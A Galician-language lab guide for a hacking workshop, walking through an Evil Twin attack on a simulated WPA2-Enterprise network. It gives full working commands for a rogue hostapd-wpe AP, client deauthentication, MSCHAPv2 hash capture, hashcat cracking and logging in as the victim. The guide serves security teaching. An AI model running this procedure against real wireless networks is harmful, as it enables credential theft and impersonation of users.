Ir ao contido

Guía de Práctica 2.2: Evil Twin Wi-Fi WPA2 (EAP)

Baseada na práctica 2-Taller-HE-Practica-WiFi-2.pdf

1. Contexto e Obxectivos

Nesta práctica simularemos un ataque de Evil Twin contra unha infraestrutura WPA2-Enterprise (802.1X/EAP). O atacante monta un AP falso co mesmo SSID que o lexítimo para engañar ao cliente e capturar as súas credenciais.

Para que o ataque funcione deben cumprirse tres condicions simultaneamente:

  1. Cliente mal configurado: o ca_cert debe estar ausente ou comentado no wpa_supplicant.conf do cliente. Sen esta validación o cliente acepta calquera certificado, incluíndo os falsos do Evil Twin.
  2. SSID duplicado: o Evil Twin emite o mesmo SSID (EMPRESA-XYZ) que o AP lexítimo, pero nun canal diferente (canal 1 vs canal 6).
  3. Desautenticación: o cliente é expulsado do AP lexítimo e, ao buscar reconectarse, escolle o Evil Twin.

O obxectivo final é capturar o hash MSCHAPv2 das credenciais do usuario, crackealo con hashcat e, finalmente, usar esas credenciais para conectarnos á rede real suplantando a identidade da vítima.


2. Mapeamento: PDF ↔ Laboratorio

O PDF da práctica describe o procedemento usando 4 "Consolas" independentes. No laboratorio provisionado por wifilabctl, o estado do AP lexítimo e do cliente xa está configurado e activo de forma automática. O estudante unicamente debe actuar sobre as outras dúas, abrindo terminais na VM Kali.

PDF Rol Interface Namespace Estado tras wifilabctl up Acción do estudante
Consola 1 AP lexítimo + FreeRADIUS wlan0 wifi_ap_wlan0 ✅ Automático (hostapd + freeradius en execución) Nada
Consola 2 Cliente vulnerable wlan1 wifi_cliente_wlan1 ✅ Automático (wpa_supplicant conectado ao AP lexítimo) Nada
Consola 3 Evil Twin (AP Rogue) wlan2 evil_twin_wlan2 ⏳ Namespace creado, interface lista, sen servizo → Terminal 1
Consola 4 Monitor + Desautenticación wlan3 (namespace PRINCIPAL) ⏳ Interface libre no namespace global → Terminal 2

3. Preparación do Escenario

Abre unha terminal na VM Kali e executa:

sudo wifilabctl up eap_evil_twin
sudo wifilabctl status

Comproba que o estado é correcto: deben aparecer os namespaces wifi_ap_wlan0, wifi_cliente_wlan1 e evil_twin_wlan2, e a interface wlan3 debe estar libre no namespace global.


4. Terminal 1 — Evil Twin (PDF: Consola 3, Páx. 7)

Esta terminal corresponde á Consola 3 do PDF. Aquí montaremos o AP Rogue usando hostapd-wpe.

⚠️ Aviso: hostapd-wpe executa en primeiro plano e non regresa ata que premes Ctrl+C. Esta terminal quedará ocupada mentres o Evil Twin está activo. Non a peches.

4.1. Entrar no namespace do atacante

sudo ip netns exec evil_twin_wlan2 bash

A partir deste momento todos os comandos desta terminal se executan dentro do namespace evil_twin_wlan2, illado do resto do sistema.

4.2. Preparar a interface wlan2

ip link set lo up
ip link set wlan2 down
macchanger -m f0:4d:a2:84:3e:2d wlan2
ip link set wlan2 up

Cambiamos a MAC de wlan2 para que non sexa identificada facilmente como a interface simulada orixinal. macchanger require que a interface estea caída primeiro.

4.3. Verificar os certificados xerados por bootstrap

O wifilabctl xa executou ./bootstrap en /etc/hostapd-wpe/certs/ durante o arranque do escenario, xerando os certificados falsos. Verifica que existen:

ls /etc/hostapd-wpe/certs/

Debes ver, entre outros: ca.pem, server.pem, server.key, dh.

4.4. Crear a configuración do Evil Twin

cat > evil-twin-wpe.conf <<'EOF'
interface=wlan2
driver=nl80211
ssid=EMPRESA-XYZ
channel=1
hw_mode=g
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
dh_file=/etc/hostapd-wpe/certs/dh
logger_syslog=-1
logger_syslog_level=2
logger_stdout=-1
logger_stdout_level=2
EOF

Puntos clave da configuración:

  • ssid=EMPRESA-XYZ: mesmo SSID do AP lexítimo. Isto é esencial para que o cliente se conecte ao noso AP pensando que é o real.
  • channel=1: canal diferente ao do AP lexítimo (canal 6). Isto evita interferencias e permite distinguir os dous APs no monitor.
  • eap_server=1: activa o servidor EAP integrado de hostapd-wpe. Non se usa un RADIUS externo; o Evil Twin contesta directamente as peticións de autenticación.
  • eap_user_file: ficheiro de usuarios EAP que acepta calquera credencial (usuario comodín *). Foi xerado polo laboratorio durante o aprovisionamento.
  • server_cert e private_key: certificados falsos xerados por ./bootstrap. Son certificados autofirmados que o cliente vulnerable acepta sen validar porque ten ca_cert comentado no seu wpa_supplicant.conf.

4.5. Lanzar o Evil Twin

hostapd-wpe evil-twin-wpe.conf 2>&1 | tee evil-twin-credentials.log

A saída esperada é:

wlan2: interface state UNINITIALIZED->ENABLED
wlan2: AP-ENABLED

O Evil Twin agora está emitindo beacons co SSID EMPRESA-XYZ no canal 1. Calquera credencial que un cliente envíe durante a autenticación EAP será capturada e gardada en evil-twin-credentials.log.

🔔 Non pechar esta terminal. Pasamos á Terminal 2 para realizar a desautenticación.


5. Terminal 2 — Monitor e Desautenticación (PDF: Consola 4, Páx. 8)

Esta terminal corresponde á Consola 4 do PDF. Abre unha segunda terminal na VM Kali. Esta executa no namespace PRINCIPAL (sen ip netns exec), onde está libre a interface wlan3.

5.1. Activar modo monitor en wlan3

sudo macchanger -m f0:4d:a2:84:3e:2e wlan3
sudo ip link set wlan3 up
sudo airmon-ng start wlan3

5.2. Fixar a canle 6 en wlan3mon

airmon-ng por defecto pon a interface en modo monitor pero non fixa ningunha canle: vai saltando entre todas as canles automaticamente. Para poder identificar clientes e desautenticar no canal do AP lexítimo (canal 6), é imprescindible fixalo:

sudo iw dev wlan3mon set channel 6

Verifica que se aplicou correctamente:

sudo iw dev wlan3mon info

A saída debe mostrar channel 6 (2437 MHz).

5.3. Recoñecemento: identificar os dous APs

sudo airodump-ng wlan3mon 

Debes ver dous APs co mesmo SSID EMPRESA-XYZ (o Evil Twin no canal 1 pode aparecer ou non dependendo do salto de canle):

BSSID Canal SSID Rol
XX:XX:XX:XX:XX:XX 6 EMPRESA-XYZ AP lexítimo (wlan0)
YY:YY:YY:YY:YY:YY 1 EMPRESA-XYZ Evil Twin (wlan2)

Na sección STATIONS verás a MAC do cliente (wlan1) asociada ao BSSID do AP lexítimo.

Anota o BSSID do AP lexítimo e a MAC do cliente. Preme Ctrl+C para deter.

NOTA: Filtrar polo canal 6 para atopar rapidamente o cliente conectado:

sudo airodump-ng wlan3mon -c 6

5.4. Desautenticar o cliente

sudo aireplay-ng --deauth 20 -a <BSSID_AP_LEXITIMO> -c <MAC_CLIENTE> wlan3mon

Substituíndo os valores anotados anteriormente. A opción --deauth 20 envía 20 ráfagas de paquetes de desautenticación dirixidos. O cliente é expulsado do AP lexítimo e wpa_supplicant inicia a búsqueda automática de reconexión. Como o Evil Twin está activo co mesmo SSID, o cliente conectará a el.

⚠️ Nota: Se aireplay-ng amosa No such BSSID available ou non envía paquetes, verifica que wlan3mon segue na canle 6 con sudo iw dev wlan3mon info. Pode ser necesario volver a executar sudo iw dev wlan3mon set channel 6 se a canle mudou.

🔄 Volta á Terminal 1 para ver as credenciais capturadas.


6. Terminal 1 — Extracción e Auditoría do Hash (PDF: Consola 3, Páx. 9)

Cando o cliente se conecte ao Evil Twin, hostapd-wpe captura o intercambio MSCHAPv2 e o amosa directamente na terminal onde está en execución. Verás algo así:

wlan2: STA a2:c7:77:12:28:c1 IEEE 802.1X: Identity received from STA: 'ana'

mschapv2: Sat Jan 31 17:12:15 2026
         username:      ana
         challenge:     e7:0a:88:fc:72:b2:f8:3f
         response:      de:89:e6:82:92:9a:6b:c1:70:ed:42:33:e8:86:7e:24:ec:0f:42:9d:a9:17:72:b5
         jtr NETNTLM:           ana:$NETNTLM$e70a88fc72b2f83f$de89e682929a6bc170ed4233e8867e24ec0f429da91772b5
         hashcat NETNTLM:       ana::::de89e682929a6bc170ed4233e8867e24ec0f429da91772b5:e70a88fc72b2f83f

O que ver aquí é:
- username: identidade enviada polo cliente durante a fase EAP (Identity).
- challenge: valor aleatorio enviado polo servidor EAP ao cliente.
- response: hash que o cliente calcula aplicando MSCHAPv2 ao challenge usando o seu contrasinal real.
- As liñas jtr e hashcat son formatos directamente usables polas ferramentas de cracking.

Preme Ctrl+C para deter hostapd-wpe e recuperar o prompt. Agora extraemos e crackeamos o hash:

6.1. Extraer o hash para hashcat

grep "hashcat NETNTLM" evil-twin-credentials.log | awk '{print $3}' > evil-hash.txt
cat evil-hash.txt

Debe mostrar unha liña no formato: ana::::<response>:<challenge>

6.2. Crackear con hashcat (Modo 5500 — NetNTLMv1

gunzip -c /usr/share/wordlists/rockyou.txt.gz > /tmp/rockyou.txt
hashcat -m 5500 evil-hash.txt /tmp/rockyou.txt

O modo 5500 é específico para hashes NetNTLMv1 / NetNTLMv1+ESS, que é o formato que xera MSCHAPv2. O resultado esperado é:

ana::::de89e682929a6bc170ed4233e8867e24ec0f429da91772b5:e70a88fc72b2f83f:1234

O contrasinal crackeado é 1234.

6.3. Mostrar o resultado

hashcat -m 5500 evil-hash.txt /tmp/rockyou.txt --show

7. Terminais 1 e 2 — Acceso á Rede Suplantando a Identidade (Fase Final)

Xa temos as credenciais de Ana (ana / 1234). O obxectivo final é demostrar que podemos conectarnos á rede corporativa real suplantando a súa identidade.

Seguimos dentro do namespace evil_twin_wlan2 e wlan2 está libre tras deter hostapd-wpe.

7.1. Crear o ficheiro de conexión (Terminal 1)

cat > wpa_suplantacion.conf <<'EOF'
network={
    ssid="EMPRESA-XYZ"
    key_mgmt=WPA-EAP
    eap=PEAP
    identity="ana"
    password="1234"
    phase2="auth=MSCHAPV2"
}
EOF

Nótese que non incluímos ca_cert: exactamente a mesma vulnerabilidade que tiña o cliente orixinal. Se a rede corporativa esixise validación de certificados, este paso fallaría.

7.2. Conectar ao AP lexítimo como Ana (Terminal 1)

wpa_supplicant -Dnl80211 -iwlan2 -c wpa_suplantacion.conf

7.3. Verificar a conexión (Terminal 2)

Comprobamos:

sudo ip netns exec evil_twin_wlan2 iw dev wlan2 link

A saída debe mostrar Connected to <BSSID> e freq: 2437 (canal 6, o do AP lexítimo), confirmando que estamos conectados á rede real como Ana.


8. Limpeza

sudo wifilabctl reset

9. Conclusión

O ataque tivo éxito porque cumpríronse as tres condicións necesarias simultaneamente:

  1. O cliente non validaba certificados (ca_cert comentado). Isto permitiu que aceptara os certificados falsos do Evil Twin sen ningún aviso.
  2. O Evil Twin usaba o mesmo SSID que o AP lexítimo. O cliente non puido distinguir entre ambos e, tras ser expulsado, conectou ao noso AP.
  3. A desautenticación forzou a reconexión. aireplay-ng expulsou ao cliente do AP lexítimo e wpa_supplicant reconectou automaticamente ao Evil Twin por ter mellor sinal ou por ser o único AP dispoñible naquele instante.

O resultado foi a captura completa do hash MSCHAPv2, o cracking do contrasinal e o acceso á infraestrutura real coas credenciais da vítima.